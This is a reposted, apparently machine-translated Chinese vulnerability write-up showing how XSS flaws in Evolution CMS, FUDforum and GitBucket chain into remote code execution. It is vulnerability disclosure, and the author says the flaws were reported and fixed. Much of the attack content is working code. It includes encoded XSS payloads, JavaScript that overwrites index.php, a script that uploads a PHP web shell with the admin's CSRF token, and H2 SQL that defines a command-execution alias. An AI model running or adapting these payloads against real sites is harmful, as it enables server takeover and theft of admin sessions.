首页 » 网站建设 » 刀片电池PHP技巧_研究开源应用轨范针对XSS到RCE缺陷

刀片电池PHP技巧_研究开源应用轨范针对XSS到RCE缺陷

访客 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

跨站点脚本 (XSS) 是 Web 运用程序中最常见的攻击之一。
如果攻击者可以将 JavaScript 代码注入运用程序输出,这不仅会导致 cookie 盗窃、重定向或网络钓鱼,在某些情形下还会导致系统完备受损。

在本文中,我将通过 Evolution CMS、FUDForum 和 GitBucket 的示例展示如何通过 XSS 实现远程代码实行。

刀片电池PHP技巧_研究开源应用轨范针对XSS到RCE缺陷

进化 CMS v3.1.8

链接:https://github.com/evolution-cms/evolutionCVE:待定

刀片电池PHP技巧_研究开源应用轨范针对XSS到RCE缺陷
(图片来自网络侵删)

Evolution CMS将自己描述为天下上最快,最可定制的开源PHP CMS。

在Evolution CMS中,我创造了用户掌握数据的未逃逸显示,这导致了反射XSS攻击的可能性:

管理器/视图/页面/user_roles/权限.刀片.php

管理器/视图/页面/user_roles/user_role.blade.php

管理器/视图/页面/user_roles/permissions_groups.blade.php

我将举一个带有有效载荷的链接示例。

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E

如果系统中授权的管理员点击链接或单击它,则 javascript 代码将在管理员的浏览器中实行:

进化CMS中反射XSS攻击的利用

在Evolution CMS的管理面板中,在文件管理器部分,管理员可以上传文件。
问题是它无法上传 php 文件,但是,它可以编辑现有文件。

我们将给出一个示例 JavaScript 代码,它将覆盖 index.php 文件:phpinfo()

$.get('/manager/?a=31',function(d) { let p = $(d).contents().find('input[name=\"path\"]').val(); $.ajax({ url:'/manager/index.php', type:'POST', contentType:'application/x-www-form-urlencoded', data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'} );});

是时候将有效负载和上面描述的javascript代码结合起来了,例如,可以用Base64编码:

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E

如果成功攻击系统中授权的管理员,索引.php文件将被攻击者放置在有效负载中的代码覆盖。
在本例中,这是一个函数调用:phpinfo()

在演进CMS v3.1.8中通过反射型XSS实现远程代码实行

FUD论坛 v3.1.1

链接:https://github.com/fudforum/FUDforumCVE:待定

FUDforum是一个超快速且可扩展的谈论论坛。
它是高度可定制的,并支持无限的成员、论坛、帖子、主题、民意调查和附件。

在 FUDforum 中,我创造在私人或论坛主题中以附件名称显示用户掌握的数据的未转义显示,这许可实行存储的 XSS 攻击。
附加并上传名称为:的文件。
下载此文件后,javascript 代码将在浏览器中实行:<img src=1 onerror=alert()>.png

利用 FUD论坛 v3.1.1 中的 XSS 漏洞

FUDforum管理面板有一个文件管理器,许可您将文件上传到做事器,包括扩展名为php的文件。

攻击者可以利用存储的 XSS 上传可在做事器上实行任何命令的 php 文件。

FUDforum已经有一个公开的漏洞,它利用javascript代码代表管理员上传一个php文件:

const action = '/adm/admbrowse.php';function uploadShellWithCSRFToken(csrf) { let cur = '/var/www/html/fudforum.loc'; let boundary = "-----------------------------347796892242263418523552968210"; let contentType = "application/x-php"; let fileName = 'shell.php'; let fileData = "<?=`$_GET[cmd]`?>"; let xhr = new XMLHttpRequest(); xhr.open('POST', action, true); xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary); let body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="cur"\r\n\r\n'; body += cur + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n'; body += csrf + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + contentType + "\r\n\r\n"; body += fileData + "\r\n\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n'; body += "1" + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n'; body += fileName + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n'; body += "Upload File" + '\r\n'; body += "--" + boundary + "--"; xhr.send(body);}let req = new XMLHttpRequest();req.onreadystatechange = function() { if (req.readyState == 4 && req.status == 200) { let response = req.response; uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value); }}req.open("GET", action, true);req.responseType = "document";req.send();

现在,攻击者可以给自己写一条私人,并将上述漏洞附加为文件。
发送给自身后,须要获取做事器上托管的javascript漏洞的路径:

index.php?t=getfile&id=7&private=1

下一步是准备将通过存储的XSS攻击实行的javascript有效负载。
有效负载的实质是获取早期漏洞并运行它:

$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})

剩下的便是将所有内容放在一起,以形成私人中附件的全名。
我们将在 Base64 中对组装好的 JavaScript 有效负载进行编码:

<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png

管理员读取攻击者随附件发送的私信后,会代表管理员在做事器上创建一个名为shell.php的文件,许可攻击者在做事器上实行任意命令:

通过 FUDforum v3.1.1 中存储的 XSS 实现远程代码实行

GitBucket v4.37.1

链接:https://github.com/gitbucket/gitbucketCVE:待定

GitBucket 是一个由 Scala 供应支持的 Git 平台,易于安装、高可扩展性和 GitHub API 兼容性。

在 GitBucket 中,我创造在主页和攻击者的配置文件页面 () 上显示用户掌握的问题名称的未转义显示,这会导致存储 XSS:/hacker?tab=activity

利用 GitBucket v4.37.1 中存储的 XSS

具有存储的XSS攻击,可以考试测验利用它以在做事器上实行代码。
管理面板具有用于实行SQL查询的工具 - 数据库查看器。

默认情形下,GitBucket 利用H2 数据库引擎。
对付此数据库,存在一个公开可用的攻击来实现远程代码实行。

因此,攻击者须要做的便是基于此漏洞创建一个PoC代码,将其上传到存储库并在攻击期间利用它:

var url = "/admin/dbviewer/_query";$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'}).done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})

通过存储的 XSS 将用于利用 H2 数据库引擎的 PoC 代码上传到存储库

现在剩下的便是创建一个新问题或重命名旧问题,并在加载早期漏洞的情形下实行存储的 XSS 攻击:

Issue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>

利用有效负载创建新问题

当管理员访问攻击者的个人资料页面或主页时,将代表他实行漏洞利用,并在做事器上创建一个文件:HACKED

利用管理员帐户访问攻击者的个人资料

检讨是否实现了远程代码实行

结论

我们已经证明,低技能攻击者可以通过多个开源运用程序中的任何 XSS 攻击轻松实现远程代码实行。

有关所有创造的漏洞的信息都报告给掩护职员,官方存储库中已供应了修复程序。

标签:

相关文章

介绍皮肤设置,如何打造理想肌肤状态

随着科技的发展和人们对美的追求,皮肤设置已成为美容护肤的重要一环。如何根据皮肤类型、肤质、年龄等因素进行合理设置,已成为众多爱美人...

网站建设 2025-01-03 阅读3 评论0

介绍盖章制作,传承文化,彰显权威

自古以来,盖章在我国文化中具有重要的地位。从古代的官印、私印到现代的公章、合同章,盖章已成为一种独特的文化符号,承载着丰富的历史内...

网站建设 2025-01-03 阅读4 评论0

介绍监控破坏,技术手段与法律风险并存

随着科技的飞速发展,监控设备已遍布大街小巷,成为维护社会治安的重要手段。一些不法分子为了逃避法律制裁,开始研究如何破坏监控设备。本...

网站建设 2025-01-03 阅读1 评论0

介绍登录不上之谜,技术故障还是人为疏忽

随着互联网的普及,登录已成为人们日常生活中不可或缺的一部分。在享受便捷的登录不上这一问题也困扰着许多用户。本文将深入剖析登录不上之...

网站建设 2025-01-03 阅读1 评论0

介绍电脑键盘调出方法,让操作更高效

随着科技的发展,电脑已经成为了我们日常生活中不可或缺的工具。而电脑键盘,作为电脑输入设备,更是我们与电脑进行交流的桥梁。你是否知道...

网站建设 2025-01-03 阅读1 评论0

介绍磁力链,高效便捷的文件下载利器

在互联网高速发展的今天,文件下载已成为日常生活中不可或缺的一部分。而磁力链作为一种新型的文件下载方式,凭借其高效、便捷的特点,受到...

网站建设 2025-01-03 阅读1 评论0